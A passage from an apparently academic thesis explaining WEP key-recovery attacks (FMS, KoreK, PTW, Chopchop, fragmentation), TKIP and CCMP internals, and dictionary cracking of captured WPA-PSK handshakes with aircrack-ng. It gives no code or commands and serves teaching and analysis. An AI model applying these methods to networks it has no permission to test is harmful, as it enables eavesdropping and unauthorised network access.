novel methods such as the Chopchop attack and the Fragmentation attack
that enables an attacker to decrypt single packets without ever knowing the
encryption key. These non-cryptographic attacks exploits weaknesses in the
WEP protocol itself rather than a statistical attack against RC4. All these
attacks are available through tools such as the aircrack-ng suite [7], which
is a compilation of several tools and algorithms attacking wireless security.
Aircrack-ng will be further explained in Section 5.2.1.
30 Background
2.5.1 The FMS Attack
In their paper from 2001, Fluhrer et al. [17] presented the first practical
attack on the RC4 algorithm of WEP. Here, they identified a large number
of weak keys, which can be used to determine many state and output bits
with a non-negligible probability. This attacks is now known as the FMS
attack. Inspired by the weaknesses presented by Fluhrer et al., Stubblefield
et al. [29] created the first practical key recovery attack on WEP that would
succeed within few hours.
The FMS attack works by looking only at the first byte of the RC4
keystream. The equation for this byte can be written as S[S[1] + S[S[1]]],
where S[i] represents a byte in the RC4 state vector. By observing these
values at the time when a weak key is used, information about the key can
be derived. Fluhrer et al. [17] list some conditions from which IVs will result
in weak keys. Fluhrer et al., refers to packets that use weak keys, as resolved.
When in a resolved state, Stubblefield et al. shows that the value of the
next key byte with a non-negligible probability is given by the equation:
K[B] = S
−1
B+2
[Out] −j
B+2
−S
B+2
[B + 3] (2.1)
where K is the key, B is the byte currently begin guessed, Out is the first
output from the PRNG and S
−1
is the position in S where its argument
occur.
S and S
−1
can be obtained by simulating the RC4 Key Scheduling Algo-
rithm (KSA) (Algorithm 1 and 2 in Section 2.4.4) for the first B iterations.
This is possible as the key bytes up to this point are already known. At this
point, guessing the next byte of the key correctly has a probability of 5%
and thus 95% chance of guessing wrong. Even though this may seem like
a low probability, it is possible to vote for the most probable next byte for
the key given a large number of packets. This voting tactic is actively used
in the implementation of the FMS attack to determine the most probable
candidate for the next key byte. Using voting, one can come up with possi-
ble candidates for the entire key, which in turn can be accepted or rejected
through testing.
2.5.2 The KoreK Attack
In 2004, a person under the pseudonym KoreK released two attacks [22, 21]
on an Internet forum. These were later referred to as the KoreK attack and
the Chopchop attack (Section 2.5.5). The KoreK attack describes seventeen
different attacks on WEP, which can be categorized as follows [12]:
Attacks on WEP 31
• Key recovery based on the first byte of the keystream of the PRNG
(similar to the FMS attack).
• Key recovery based on the first and second bytes of the keystream of
the PRNG.
• Inverted attacks - reverse methods to reduce the search space.
As we can see, the first category is similar to the approach of the FMS attack.
The FMS attack was actually a part of the KoreK attack, and was given
the name A s5 1. In addition to the correlation found in the FMS attack,
KoreK found several other correlations that had around 14% probability of
guessing the right next byte of the key. The second group of attacks found by
KoreK is also very similar to the FMS attack, the difference being that the
attack bases the calculation on the two first bytes of the keystream rather
than just the first. The third group consists of one specific attack known as
the A neg attack. This was a novel approach that aims to reduce the size
of the key search space by identifying certain values of the key that can be
rejected. Being able to reject certain values for the key clearly also enhances
the voting process and thus making the key easier to determine. A further
detailed explanation of the different KoreK attacks are out of the scope nor
relevant for this thesis and is thoroughly covered by Chaabonui [12].
2.5.3 The PTW Attack
In 2005, Andreas Klein presented several new correlations between the RC4
keystream and the key in addition to the ones previously discovered by
KoreK. In his paper from 2006 [20], he describes how this attack aims to
improve upon the FMS attack in such a way that it will work even if the
network avoids weak keys. In 2007, Tews et al. [33] presented a full key re-
covery attack based on the analysis of Klein. In their paper with the catchy
title Breaking 104-bit WEP in less than 60 seconds, they present a key re-
covery attack that will successfully recover the key with a 50% probability
with less than 40, 000 frames. With 85, 000 frames the success rate is 95%.
By using tools such as the Chopchop attack or the fragmentation attack
to decrypt a single packet, this packet can be modified and re-injected into
the network to generate traffic. As the PTW attack is less dependent on the
presence of weak keys, the number of required packets can be obtained on
a high performance AP in under a minute. Figure 2.8 shows a screenshot
from the aircrack-ng suite [7], displaying a successful key recovery by the
PTW attack.
32 Background
Figure 2.8: The aircrack-ng tool successfully recovers the WEP key by using the
PTW attack
2.5.4 Beck and Tews’ Improved Attack on RC4
In 2008, Beck and Tews presented a draft paper on attacks related both
to WEP and WPA/TKIP, of which the latter is detailed in Chapter 3. In
addition to the breakthrough with the attack on WPA, an improved attack
on RC4 was presented in the same paper. At this moment, there exists very
little information about this attack, although an implementation exists in
the aircrack-ng repository
5
.
The improved PTW attack is based on the correlations found by KoreK
[22]. In their implementation, they managed to rewrite all but four of Ko-
reK’s correlation to vote for the correlation σ
i
, instead of the root key Rk[i].
The correlation A neg that KoreK used to reduce the key search space was
now rewritten to exclude values from being σ
i
and thus improving the prob-
ability of other values being σ
i
.
In addition to the improvements of the KoreK attack they also imple-
mented a way of enhancing the voting of σ
i
by making use of the fact that
one can make some values of σ
i
get more votes than others.
The effect of this new attack is illustrated in Figure 2.9, where a 50%
success rate is achieved after only 24,200 packets.
5
http://trac.aircrack-ng.org/browser/branch/ptw2/src/aircrack-ptw2-lib.c
Attacks on WEP 33
0
0.1
0.2
0.3
0.4
0.5
0.6
0.7
0.8
0.9
1
0 0.5 1 1.5 2 2.5 3 3.5 4 4.5 5 5.5 6
p
r
o
b
a
b
i
l
i
t
y

o
f

s
u
c
c
e
s
s
number of sessions collected / 10,000
Random IV generation
Counter mode IV generation
Figure 2.9: Success rate of Beck and Tews’ new attack on WEP [10]
2.5.5 Chopchop Attack
Around the same time as the KoreK attacks on RC4 were posted on an In-
ternet forum [22], the same anonymous hacker published a new attack called
the Chopchop attack [21]. The Chopchop attack belongs to a new group
of attacks, which compared to all previously attacks may be considered a
non-cryptographic attack. Rather than exploiting vulnerabilities in the RC4
algorithm, Chopchop attacks the WEP protocol itself and two of its design
flaws, namely the lack of replay protection and the weakness of the ICV.
The Chopchop attack is a remarkable and different attack on WEP than
the previously explained. Even though it is not very efficient, it is of prac-
tical interest with packets that have a large amount of known data, e.g. an
ARP packet. The Chopchop attack enables an attacker to decrypt a packet
without ever knowing the key. In a real setting, the Chopchop attack can
be used to decrypt a packet, modify it and inject it back into the network
to generate traffic. This traffic could further be captured and used with e.g.
the PTW attack to make a full key recovery attack.
The CRC-32 function was designed to detect errors and not to function
as a cryptographically strong one-way function. We explained that due to
the linearity of CRC-32 and the XOR operation used for WEP encryption,
it is possible to flip a bit in the ciphertext and then calculate which bit in
the encrypted CRC-32 value that in turn must be flipped in order for the
checksum to validate. This fact combined with WEP’s lack of replay pro-
tection, are the most important components of the Chopchop attack.
34 Background
As illustrated in Figure 2.10, the attack works by truncating (hence the
name Chopchop) an encrypted packet at the end by one byte. Now, the
goal is to figure out the value of this byte. KoreK discovered a way of ac-
complishing this by injecting the truncated (encrypted) packet back into the
network. The packet would now be invalid due to the ICV not matching the
rest of the packet. Nevertheless, he figured that by XORing this packet with
a certain value Mod, the packet becomes valid again. KoreK shows that this
value does only depend on the truncated byte. So, trying all permutations,
0 through 255 (128 on average), for this byte, we will eventually hit that
correct value. If the truncated message is valid, the AP will respond by
sending the packet back out on the network. At this point, the attacker will
know the plaintext of the truncated byte, and thus the keystream as well.
By repeating this, it is possible to decrypt the entire packet and revealing
the plaintext as well as the keystream without ever knowing the master key.
ICV
M bytes
ICV
ICV
M-1 bytes
Mod Inject modified packet
Chop
M-1 bytes
Guess Value (0,1,...,255)
Valid packet
Attacker
AP
Figure 2.10: The attacker modifies a packet by truncating the last byte and in-
jecting it into the network using the Chopchop attack
The math behind the Chopchop attack is thoroughly described by Tews
[31] as follows:
Assume a truncated plaintext P. In order for the checksum to be correct
the following equation must be valid:
P mod R
CRC
= P
ONE
(2.2)
where R
CRC
is the CRC-32 polynomial (recall Section 2.4.5) and P
ONE
is
the polynomial where all coefficients from X
0
to X
31
being 1.
P can be re-written as:
P = Q×X
8
+P
7
(2.3)
where P
7
is all elements of P with exponents smaller than 8 (i.e. X
0
to
X
7
). Now, it can be shown that in order to get a correct checksum for
Attacks on WEP 35
P = Q×X
8
+P
7
the following must be valid:
Q×X
8
= P
ONE
+P
7
mod R
CRC
(2.4)
X
8
inverse becomes:
(X
8
)
−1
= R
INV
(2.5)
Now, we know that
Q = R
INV
(P
ONE
+P
7
) mod R
CRC
(2.6)
For the checksum to become valid, Q must have the value:
Q = P
ONE
mod R
CRC
(2.7)
Now, by adding a value P
COR
= P
ONE
+P
INV
(P
ONE
+P
7
) to Q, we would
get a new message for P which will have a correct checksum. P
COR
depends
only on P
7
and hence only 8 bits is unknown. This yields 256 permutations
that can be guessed in a relatively short time and requires on average 128
guesses.
2.5.6 Fragmentation Attack
In 2005, Bittau et al. released a paper called The Final Nail in WEP’s Cof-
fin [11]. Their paper describes a novel attack known as the fragmentation
attack. This attack makes it possible to obtain a large amount of keystream
in a very short time by only eavesdropping a single packet. The obtained
keystream can then be used to inject arbitrary traffic into the network.
The attack works by first eavesdropping on a single packet. All packets
sent in an 802.11 network have similar headers. A packet starts with a Log-
ical Link Control (LLC) header, followed by a Subnetwork Access Protocol
(SNAP) header, a total of eight bytes. These headers are almost always
identical for every packet. The only field that varies is the last byte of the
SNAP header, EtherType, which indicates the protocol of the encapsulated
packet. This field is almost exclusively set to either ARP or IP on most net-
works. ARP packets are easily detected due to their recognizable size, all
other packets can be assumed to contain IP data. Because of this, the frag-
mentation attack assumes that the first eight bytes of plaintext are known.
By simply XORing the deducted 8 bytes of plaintext with the first bytes
of ciphertext, eight bytes of keystream are obtained. With eight bytes of
keystream, it is possible to send a four-byte packet to the network (Remem-
ber that the four byte ICV must also be added). This packet would decrypt
correctly, but such a small packet is not useable for anything, and it would
simply be discarded at the next layer. This is where the fragmentation at-
tack comes into play. 802.11 supports fragmentation, i.e., packets can be
36 Background
broken down into smaller fragments, maximum 16. These fragments are
encrypted individually, this means that by sending 16 eight byte fragments
(four byte data + ICV), it is possible to inject a 64-byte packet. This part
of the fragmentation attack is illustrated in Figure 2.11. Ideally an attacker
Fragment 2/16
.
.
.
Fragment 16/16
Fragment 3/16
Fragment 1/16
Reassembled
packet
AP Attacker
Figure 2.11: Illustration of the fragmentation attack
wants 1500 bytes of keystream, which is the Maximum Transmission Unit
(MTU) of ethernet. By further exploiting the fragmentation in 802.11, this
is possible in a very short amount of time. To execute the attack, the at-
tacker generates a 64-byte broadcast packet and sends it to the AP in 16
fragments. The AP will wait until all fragments are received before reassem-
bling the packet. Since this is a broadcast packet the AP will re-encrypt the
packet with a new IV, and send the packet as one fragment back to the
network. This packet will be 68 bytes in size (64 bits from the fragments +
4-byte ICV). The attacker can capture this packet, and knowing the plain-
text, obtain 68 bytes of keystream for the new IV. This attack can then
simply be repeated until 1500 bytes of keystream are obtained.
By using this method, an attacker only needs to send 34 packets and
receive 4 to obtain 1500 bytes of keystream. This method is much faster
than the chopchop method, which recovers one byte per 128 sent packet on
average.
When knowing 1500 bytes of keystream for a given IV, it is possible
to obtain it for other IVs as well, by sending an unfragmented 1500-byte
broadcast packet to the AP. The AP will then relay this, but encrypted
with a new IV. This way an attacker can build a dictionary of all IV -
keystream pairs.
Temporal Key Integrity Protocol (TKIP) 37
2.6 Temporal Key Integrity Protocol (TKIP)
When WEP was proved completely broken [17], a new security scheme for
wireless networks was desperately needed. The Temporal Key Integrity Pro-
tocol (TKIP) was designed on top of WEP to fix all its known weaknesses.
In this section a brief historical overview of TKIP will be given, followed by
a thorough technical walkthrough of the protocol.
2.6.1 History
As described in Section 2.4.7, TKIP’s predecessor, WEP, has several severe
weaknesses and is considered completely broken. An attacker can obtain the
secret key used in WEP within a minute, or even decrypt packets without the
knowledge of the key. These and other attacks were discussed in Section 2.5.
In 2001, the IEEE 802.11i task group was established to design the new
security protocols for the 802.11 family of WLANs. The task group actu-
ally designed two protocols, one that would allow old WEP hardware to be
upgraded, and another one that was made from scratch using the modern
AES block cipher. These protocols were named TKIP and CCMP respec-
tively. CCMP is described in Section 2.7. The standardization process took
quite some time, and the WiFi Alliance wanted to be able to provide secure
equipment to their customers. Consequently, the WiFi Alliance made their
own security standard based on a draft version of 802.11i, which they named
WPA (WiFi Protected Access). The difference and timeline of the various
standards were described in Section 2.3.1.
Even though TKIP provides vastly improved security over the old WEP
standard, it is still built using some of the same building blocks as WEP.
TKIP has some weaknesses, most significantly the Message Integrity Code
(MIC). And as shall be explained in Chapter 3, this is used in the new attack
on TKIP. Because of this, and the fact that all new hardware supports the
new and improved CCMP security standard (see Section 2.7), TKIP will be
deprecated in the next version of the 802.11 standard [19].
2.6.2 Protocol overview
TKIP had one important design goal; it should be implementable on old
WEP hardware [16]. For that reason, there were some serious limitations
on how TKIP could be designed. Because of this limitation the protocol still
uses WEP encapsulation, but was designed to provide additional protection
against all known attacks on WEP.
38 Background
The 802.11 2007 standard [5] defines four modifications of WEP that is
made by TKIP.
• The use of a new Message Integrity Check (MIC), which is generated
by the keyed cryptographic algorithm Michael.
• The MIC is, because of the design constraints, not very secure. There-
fore TKIP implements countermeasures to handle this.
• Replay protection, with the use of a per-MPDU TKIP sequence counter
(TSC).
• TKIP uses a cryptographic per-packet key mixing function to defeat
weak-key attacks against the WEP key.
The details of these four items are discussed in the next sections. It is clear
that TKIP addresses all the known issues of WEP. But as shall be explained
in Section 3.2, TKIP still has some weaknesses that can be exploited.
2.6.3 TKIP Encapsulation
TKIP is built around WEP, and uses the WEP encapsulation described in
Section 2.4.2, as a Black box. The TKIP encapsulation is shown in Figure
2.12. This figure consists of a few new abbreviations that should be
explained:
DA Destination Address (MAC)
SA Source Address (MAC)
TA Transmitter Address or Transmitting Station Address (MAC)
TK Temporal Key (128-bit Session Key)
TSC TKIP Sequence Counter
TTAK TKIP-mixed Transmit Address and Key (80 bits)
The 128-bit session key, TK, is obtained through an EAPOL handshake and
is explained later in this section. As can be seen from the figure, the first
step of TKIP is to generate the per-packet key. This is done in two phases,
labeled Phase 1- and Phase 2 key mixing in the figure. The Phase 1 key
mixing takes three inputs: TA, TK and the 32 Most Significant Bits (MSBs)
of the TSC. The output of this function is the 80-bit TTAK. Next, the second
key mixing function uses the TTAK together with the TK and the 16 Least
Significant Bits (LSBs) of the TSC. This results in the WEP seed, which
is represented as the 24-bit WEP IV and a 104-bit RC4 key. The reason
Temporal Key Integrity Protocol (TKIP) 39
for mixing the key in two phases is to make the computation of the key less
intensive, and thus ease the burden for older WEP hardware. The first phase
only has to be computed for every 2
16
= 65536 packet, since it uses the 32
MSBs of the TSC. The second phase calculation changes for every packet.
The TSC increases monotonically, and therefore the calculation could be
performed in advance.
WEPseed﴾s﴿
﴾representedasWEP
IV
+RC4key﴿
Ciphertext
MPDU﴾s﴿
RC4key
Plaintext
MSDU +
MIC
TTAK
TSC
DA +SA +
Priority +
PlaintextMSDU
Data
Phase 1
key
mixing
Michael
MICKey
Fragment ﴾s﴿
Phase 2
keymixing
WEP
Encapsulation
IV
TK
TA
Figure 2.12: TKIP encapsulation block diagram [5]
In addition to the ICV, TKIP introduced a new integrity check called a MIC.
The MIC is generated by the Michael algorithm, which computes an 8-byte
message integrity code (MIC) on the Plaintext MSDU. In addition to the
MSDU, the Michael algorithm takes three inputs: DA, SA and a one-byte
Priority field. As can be seen from Figure 2.12, the MSDU, the TSC and
the computed MIC is fragmented to two or more MPDUs if needed. The
MPDU is then inputted to the WEP encapsulation as the WEP Plaintext.
Both the key mixing and the MIC generation are discussed in more detail
later in this section.
2.6.4 TKIP Decapsulation
When receiving a TKIP encapsulated packet, a decapsulation process is
performed as depicted in Figure 2.13. First, the extraction of the TSC
sequence number and key identifier from the WEP IV and TKIP Extended
IV is performed. Packets that violate the sequencing will be discarded, i.e.,
packets that do not have a higher TSC than the previous packet are dropped.
40 Background
MSDU with failed 
TKIP MIC 
MIC
MIC'
Plaintext 
MPDU 
In­sequence
MPDU
TKIP TSC  TSC 
TA 
TTAK
Phase 1
key mixing
Unmix
TSC
Ciphertext MPDU
Phase 2
key mixing
WEP
Decapsulation
Out­of­sequence
MPDU
WEP Seed 
Reassemble
Michael
DA + SA + Priority 
+ Plaintext MSDU 
MIC Key
MIC = 
MIC'? 
Countermeasures
TK
Figure 2.13: TKIP decapsulation block diagram [5]
The construction of the WEP Seed is performed with the same two-phase
key-mixing as in the encapsulation. The In-Sequence MPDU and the WEP
Seed are then fed into the WEP Decapsulation. This decapsulation was
detailed in Section 2.4.2. The MPDU, outputted from the WEP decapsu-
lation, is then reassembled if it was a part of a fragmented MSDU. Next,
the reassembled Plaintext MSDU, DA, SA and Priority field is sent to the
Michael algorithm to produce MIC’. If MIC’ matches the decrypted MIC,
the packet is accepted. If not, TKIP Countermeasures will be activated.
These countermeasures will be explained in detail later, as these are a vital
part of the attack on TKIP.
2.6.5 TKIP Packet Structure
TKIP makes some modifications to the WEP packet structure. The con-
struction of this expanded TKIP MPDU can be seen in Figure 2.14. The
first part is the MAC header, which contains the sender and receiver MAC
address among other fields. Next, we have the 4-byte IV / KeyID field,
which differs slightly from WEP. The first byte of this field is the second
byte of the TSC, the second is a padding byte, WEPSeed[1], which is in-
serted to avoid RC4 weak keys. The padding is followed by the first byte of
the TSC. These three bytes serve as the 24-bit WEP IV. The next 5 bits are
reserved for future use. The Extended IV bit is new in TKIP, and indicates
if an extended IV (TSC) is used. This bit is always set to 1 when TKIP
is used. The next four bits are set to the key index of the key used for
cryptographic encapsulation of the frame [5].
Temporal Key Integrity Protocol (TKIP) 41
MAC
Header
Extended IV
4 bytes
Data (PDU)
>= 1 byte
MIC
8 bytes
ICV
4 bytes
IV / KeyID
4 bytes
FCS
4 bytes
Key ID
2 bits
TSC 1
1 byte
WEPSeed [1]
1 byte
TSC0
1 byte
Reserved
5 bits
Extended IV
1 bit
TSC 5
1 byte
TSC 4
1 byte
TSC 3
1 byte
TSC 2
1 byte
Encrypted
IV32 IV16
Figure 2.14: Construction of expanded TKIP MPDU [5]
The Extended IV field consists of 4 bytes, which are the remaining four
bytes of the TSC. Next follows the Data, MIC and WEP ICV. These three
fields are sent encrypted, all other fields are sent as plaintext. Finally, the
IEEE 802 Frame Check Sequence (FCS) is appended to the end of the frame.
The FCS is a CRC-32 calculated over the entire frame, including the MAC
header.
2.6.6 TKIP Sequence counter (TSC)
TKIP introduces a new sequence counter, TSC. The TSC was designed to
fix the weaknesses of the WEP IV, described in Section 2.4.7. There were
three main weaknesses in the WEP IV, which can be summarized as:
• The IV was too short (24 Bits), this caused IV reuse.
• The IV was not used as a sequence counter to prevent message replay.
• Prepending the IV to the secret key revealed when weak keys were
used.
The 48-bit TSC addresses all these problems. The larger TSC makes IV
reuse infeasible. The TSC also functions as a sequence counter, and messages
that have equal or lower TSC value than the previous packet is dropped,
thus preventing message replay attacks. The TSC is also constructed to
avoid a certain class of known weak keys.
One important requirement for the TSC is that it is increased monoton-
ically, i.e., increased by 1 for each packet. Additionally the TSC is always
initialized to 1 when the TKIP temporal key is initialized or refreshed. This
42 Background
makes the TSC suitable as a sequence counter. This was not the case in
WEP, where there were no requirements for how the IV should be chosen
and increased [5].
Figure 2.19 shows how the TSC is used in the per-packet key-mixing. As
can be seen only 16 bits of the TSC are used in the 24-bit WEP IV field, the
remaining 8 bits consist of a dummy value. This dummy value is inserted
to avoid a known class of weak RC4 keys. The dummy value is always set
to:
(TSC1 ∨ 0x20) ∧ 0x7F (2.8)
Where TSC1 is the second byte of the TSC. The remaining 32 bits of the
TSC are put in the Extended IV field of the TKIP MPDU, as seen in Figure
2.14.
2.6.7 Message Integrity Code (MIC)
One of the biggest flaws in WEP was that it did not protect against message
forgery. This was because the ICV, based on CRC-32, was not sufficiently
secure (see Section 2.4.7 for details). To defend against message modifica-
tion and other active attacks, TKIP includes a MIC. The MIC is calculated
on the MSDU, which can be fragmented into several MPDUs. The MIC
is based on the Michael algorithm, which is a simple algorithm, but with
considerably improved security over CRC-32.
Michael is a keyed MIC, which means it takes a secret key as input in
addition to the plaintext. The key and the output of the algorithm are both
64 bits in length. The Michael key is derived from the master key (the
TKIP key hierarchy is explained in the following section). Although more
secure than CRC-32, the Michael algorithm is a weak Message Integrity
Check compared to keyed cryptographic hash functions like e.g. SHA-1.
However, the designers of TKIP had to consider the compatibility of legacy
hardware when choosing an algorithm. Michael had a design goal of only
20 bits of security [16]. This means that a randomly chosen MIC has 1 in
2
20
= 1, 048, 576 chance of being accepted as valid.
As can be seen from Figure 2.14, the WEP ICV is still calculated on the
plaintext. This results in two Message Integrity Checks being calculated on
the data. When a packet is received, the WEP ICV is calculated the same
way as in WEP. As in WEP the packet is discarded if the calculated ICV’
does not match the received ICV. If the ICV check is successful, the MIC is
calculated and checked against the received MIC as described earlier. It is
very unlikely that the ICV computes correctly (Remember that CRC-32 is
very good at detecting transmission errors), while the MIC fails, unless an
Temporal Key Integrity Protocol (TKIP) 43
attack is taking place.
TKIP Countermeasures
The designers of TKIP realized that Michael was not sufficiently secure. As
a consequence, they implemented some countermeasures. The countermea-
sures are designed to prevent an attacker from trying to crack the MIC by
using brute force. This feature of TKIP is explained in detail because it is an
essential part of Beck and Tews’ attack on TKIP [10], which will be detailed
in Chapter 3. The IEEE 802.11 2007 standard specifies [5] how STAs and
APs shall react on MIC failures, and suggests that such events should be
logged and must be kept below two per minute. The last restriction implies
that if two MIC failures are detected within one minute, a STA or AP must
activate the TKIP countermeasures. A MIC failure occurs when a received
packet has a valid ICV but an invalid MIC. When the countermeasures are
activated, the AP will delete all temporal keys and shut down all TKIP
traffic for one minute. After this minute has passed, all STAs will have to
re-authenticate and create new temporal keys. This will give the attacker
one try per minute on guessing the right MIC, making it infeasible for the
attacker to guess the correct value. In this way the WEP ICV helps to pre-
vent false detection of MIC failures, and prevents the use of countermeasures
when no attack is taking place [5].
An Authenticator and Supplicant, typically AP and STA, have slightly
different countermeasure behavior. Flow charts of their respective behavior
can be seen in Figure 2.15 and 2.17.
For an authenticator, a MIC failure can occur in two ways: Either the
Authenticator receives a frame with a MIC failure, which will be discarded,
or it receives a Michael MIC Failure Report frame from a supplicant, indi-
cating that the supplicant received a frame with a MIC failure. When a MIC
failure occurs, the Authenticator will either reset the MIC Failure Timer,
or, if the Timer is less than 60 seconds, activate MIC countermeasures.
The countermeasures start by de-authenticating all STAs using TKIP,
and delete their Pairwise Transient Key Security Association (PTKSA). If
the Group Key uses TKIP, its security association is also discarded. In
addition to this, all STAs using CCMP as a pairwise cipher will be de-
authenticated if they are also using TKIP as a group cipher. A new group
key will be constructed, but not used in one minute. The AP will also refuse
to construct new pairwise keys using TKIP for one minute, thus disabling
all TKIP communication. After one minute has passed, the MIC failure
counter and timer are reset, and the AP resumes normal operation.
44 Background
Timer < 60 s
Configure new GTK
Enable associations if not an IBSS
Deauthenticate all STAs if not an IBSS
Revoke all PTK and GTK
Generate new GTK
Timer = 0
Logevent
Wait 60 s
Wait for MIC failure
No
Yes
Figure 2.15: Authenticator MIC countermeasures [5]
When a supplicant receives a frame with a MIC failure, it is discarded and
a MIC Failure Report frame is sent to the AP. If less than 60 seconds have
passed since the last MIC failure was received, the STA will de-authenticate
from the AP and delete the pairwise- and group key. Figure 2.16 illustrates
how the STA that is being attacked informs the client (Running Mac OS X)
of this incident. The STA will then wait one minute before reestablishing a
connection with the AP.
Figure 2.16: The client is informed of the MIC countermeasures
Temporal Key Integrity Protocol (TKIP) 45
Timer < 60 s
Wait 60 s before associating to same AP or
roam to a new AP if not IBSS, or sending
data in an IBSS
Send Michael MIC Failure Report frame
Timer = 0
Logevent
Stop receiving Class 4 frames if not an IBSS
Stop receiving Class 1 frames if in an IBSS
Wait for send Report frame to complete
Deauthenticate the AP if not in IBSS
Revoke PTK and GTK
Wait for MIC failure
No
Yes
Figure 2.17: Supplicant MIC countermeasures [5]
2.6.8 Temporal Key
TKIP, as the name implies, makes use of so-called Temporal Keys. The tem-
poral keys are derived from a master key, and are all part of a key hierarchy.
The master key could either be obtained through an upper layer authenti-
cation protocol based on the Extensible Authentication Protocol (EAP), or
pre-shared master keys could be used.
There are two different classes of keys used in TKIP, the pairwise keys
and the group keys. The pairwise keys are used in communication between
two STAs (Most commonly a STA and an AP), while the group keys are
used for multicast traffic. The derivation of the pairwise temporal keys
can be seen in Figure 2.18. The 256-bit Pairwise Master Key (PMK) is ex-
panded by the use of a PRNG called the Pseudo Random Function (PRF-n).
Where n indicates the number of bits to output, 512 in the case of TKIP.
This function uses Nonces, which are obtained through EAPOL (EAP over
LAN) Handshakes. In order to obtain the pairwise key, a four-way EAPOL
handshake is performed, while the group key uses a two-way handshake [16].
46 Background
EAPOL is the EAP encapsulation used in 802.1x which is the authenti-
cation mechanism used in 802.11 WLANs. A thorough explanation of EAP,
802.1x and EAPOL is out of scope for this thesis. Additional background on
these subjects and how it is used in wireless LANs can be found in [6, 3, 16].
In addition to the PMK, the PRF takes five inputs:
• The string ”Pairwise key expansion”.
• The smallest, Min(), of the Authenticator Address (AA) and Suppli-
cant Address (SPA).
• The largest, Max(), of the AA and SPA.
• The smallest of the Authenticator Nonce (ANonce) and Supplicant
Nonce (SNonce).
• The largest of the Authenticator Nonce (ANonce) and Supplicant
Nonce (SNonce).
The Max() and Min() functions convert the two inputs to positive integers
and output the largest or smallest value, respectively. The ANonce and
SNonce are nonces obtained through EAPOL Handshakes. As can be seen
Pairwise Master Key (PMK)
256 bits
Pairwise Transient Key (PTK)
512 bits
PRF-512
PRF-512( PMK, "Pairwise key expansion",
Min(AA,SPA) || Max(AA, SPA) ||
Min(ANonce, SNonce) ||
Max(ANonce, SNonce) )
EAPOL
MIC Key
128 bits
EAPOL
Encryption Key
128 bits
Data
Encryption Key
128 bits
Data
MIC Key
128 bits
Protect
Key Handshakes
Protect
Data
Figure 2.18: TKIP Pairwise Key Hierarchy [16]
in Figure 2.18, the 512-bit output is divided into four keys of 128 bits each.
The first two keys are used to protect EAP Over LAN (EAPOL) messages,
for Message Integrity and Encryption respectively. The two latter keys are
used for TKIP encapsulation, where Data Encryption Key refers to the Tem-
poral Key (TK), and the Data MIC key is used in the Michael algorithm.
The 64 first bits of the Data MIC key is used as the AP to STA MIC key,
while the remaining 64 bits are used to protect STA to AP communication.
Counter Mode with CBC MAC Protocol (CCMP) 47
As mentioned earlier, TKIP uses a different encryption key for every
packet through the use of per-packet key mixing. This process is depicted in
Figure 2.19. As can be seen, the process consists of two phases, as described
earlier. The first phase is only computed every 65,536 packet, as it uses
the 32 MSBs of the TSC. The second phase is computed for every frame.
The figure also shows that the WEP Seed is constructed from the 16 LSBs
of the TSC, the Dummy value and the output from the second key-mixing
phase. This 128-bit WEP Seed is then fed to the WEP encapsulation as the
24-bit IV and the 104-bit RC4 key. Note that the 104-bit per-packet key
Phase 1 Key mixing Phase 2 Key mixing
32 MSB 16 LSB
48 Bit TSC
128 Bit TK TA
8 MSB of IV 104 Bit Per-Packet Key 8 LSB of IV 8 Bit Dummy value
128 bit WEP Seed
80 Bit TTAK
16 Bit IV
Figure 2.19: TKIP Per-Packet Key Mixing
will change for every packet, as opposed to WEP where this was a static
pre-shared key. The per-packet key-mixing avoids weak keys with the use
of the Dummy value and further obscures the secret TK. Also note that the
TA is included in the first phase, this is done to avoid any key collisions as
the TA is unique for every transmitting station.
2.7 Counter Mode with CBC MAC Protocol (CCMP)
CCMP was the second security protocol introduced as a replacement for
WEP in the 802.11i amendment [5]. As opposed to TKIP, CCMP was de-
signed from the bottom-up with security in mind, without any consideration
for compatibility with old hardware. This section will give a brief overview
of CCMP. For more details we refer the reader to the IEEE 802.11 2007
standard [5].
The full name of CCMP is Counter Mode with Cipher Block Chaining
Message Authentication Code Protocol. CCMP uses the AES block cipher
for confidentiality, authentication and integrity, and operates on the MPDU
level. This is accomplished through the use of AES in CCM (Counter Mode
48 Background
with CBC MAC) mode. Where Counter Mode is used for encryption and
CBC is used to generate a MIC. As opposed to the stream cipher RC4 used
in WEP and TKIP, AES is a block cipher. In CCMP, AES is always used
with 128-bit key and block size.
As CCMP is a totally different design from WEP and TKIP, none of the
attacks described earlier will work against it. Beck and Tews’ new attack
on TKIP [10] is therefore not applicable to CCMP. At the time of writing,
there are no known practical attacks against CCMP or AES, except from
brute-force attacks on the EAPOL handshake. This type of attack is de-
scribed in Section 2.8.
Figure 2.20 shows the CCMP MPDU, and as can be seen, only the
data and MIC are encrypted. The header is very similar to the one used in
TKIP, but there are some differences. The main difference is the PN (Packet
Number), which is a 48-bit value used similarly as the TSC of TKIP. The
PN is used for replay protection, and to compute a per-packet key.
MAC Header
CCMP Header
8 bytes
Data (PDU)
>= 1 byte
MIC
8 bytes
FCS
4 bytes
Encrypted
PN0 RSVD PN1 PN2 PN3 PN4 PN5
Key
ID
Rsvd
5 bits
Ext IV
1 bit
KeyID
2 bits
Figure 2.20: Expanded CCMP MPDU [5]
Attacks on TKIP and CCMP 49
2.8 Attacks on TKIP and CCMP
Up until the TKIP attack by Beck and Tews was published in November
2008 [10], the only practical attacks against TKIP were brute force attacks
on the EAPOL handshake. Brute force attacks of this type are also appli-
cable to CCMP. This section will describe the theory of such attacks and
give some examples. The attack by Beck and Tews is described in Chapter 3.
The attack described here, works against WPA or WPA2/RSN networks
using Pre-shared Keys (PSK) regardless of the underlying cipher. As de-
scribed in Section 2.6.8, a four-way handshake is performed to obtain the
temporal key used to protect the wireless traffic. This handshake has one
shared secret between the STA and AP, namely the Pairwise Master Key
(PMK), which is derived from the pre-shared password. The PMK and
password are never sent over the air. Instead the Pairwise Transient Key
(PTK) is derived from Nonces sent during the handshake.
To perform an attack on the password, the attacker needs to capture
the four-way handshake. This can be done by simply de-authenticating the
STA or waiting for one to be performed. With this handshake captured,
the remaining parts of the attack are performed offline, i.e. no more traffic
needs to be captured or injected.
The attacker now simply guesses the password, either by random or with
the use of a dictionary. A PMK is then calculated from this password and
tested with the captured handshake to see if the guess was correct. Aircrack-
ng implements this type of attack with the use of dictionaries. An example
of a successful crack can be seen in Figure 2.21. Note that the password was
a common dictionary word. A stronger password would require vastly more
effort to be cracked.
As can be seen in Figure 2.21, the program was able to test about 250
keys per second. This was done on an Intel Pentium 4 2.6 GHz, and even
with the latest quad core CPUs the speed would still be somewhere between
1000 and 2000 keys per second. The computation of the PMK is the most
